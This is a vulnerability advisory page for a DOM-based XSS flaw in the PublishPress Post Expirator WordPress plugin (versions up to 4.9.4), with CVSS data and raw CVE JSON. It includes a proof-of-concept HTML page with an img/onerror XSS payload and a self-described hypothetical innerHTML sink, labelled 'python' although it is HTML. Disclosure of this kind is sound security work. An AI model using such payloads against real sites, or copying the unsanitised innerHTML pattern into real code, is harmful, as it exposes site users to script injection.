Security Vulnerability Report
中文
CVE-2026-39482 CVSS 6.5 MEDIUM

CVE-2026-39482

Published: 2026-04-08 09:16:23
Last Modified: 2026-04-24 18:08:35

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PublishPress Post Expirator post-expirator allows DOM-Based XSS.This issue affects Post Expirator: from n/a through <= 4.9.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

PublishPress Post Expirator <= 4.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-39482 (DOM-Based XSS in PublishPress Post Expirator) This script demonstrates how a malicious payload can be executed via the URL. --> <html> <body> <h3>Demonstration of CVE-2026-39482</h3> <p>1. Ensure you are logged into WordPress with the Post Expirator plugin active (version <= 4.9.4).</p> <p>2. Navigate to a page where the plugin's JS is loaded (e.g., Post Edit page or Settings).</p> <p>3. Append the following payload to the URL and reload:</p> <pre> ?post-expirator-settings=<img src=x onerror=alert('XSS')> </pre> <p>4. If the vulnerability exists, the JavaScript alert will trigger without server-side processing.</p> <script> // Hypothetical representation of the vulnerable code flow // The actual vulnerable code likely reads URL parameters and inserts them into the DOM. window.addEventListener('load', function() { const params = new URLSearchParams(window.location.search); const payload = params.get('post-expirator-settings'); if (payload) { // Vulnerable Sink: Directly inserting user input into innerHTML // This mimics the behavior in the plugin document.body.innerHTML += '<div id="vulnerable-div">' + payload + '</div>'; } }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39482", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:22.830", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PublishPress Post Expirator post-expirator allows DOM-Based XSS.This issue affects Post Expirator: from n/a through <= 4.9.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-expirator/vulnerability/wordpress-post-expirator-plugin-4-9-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}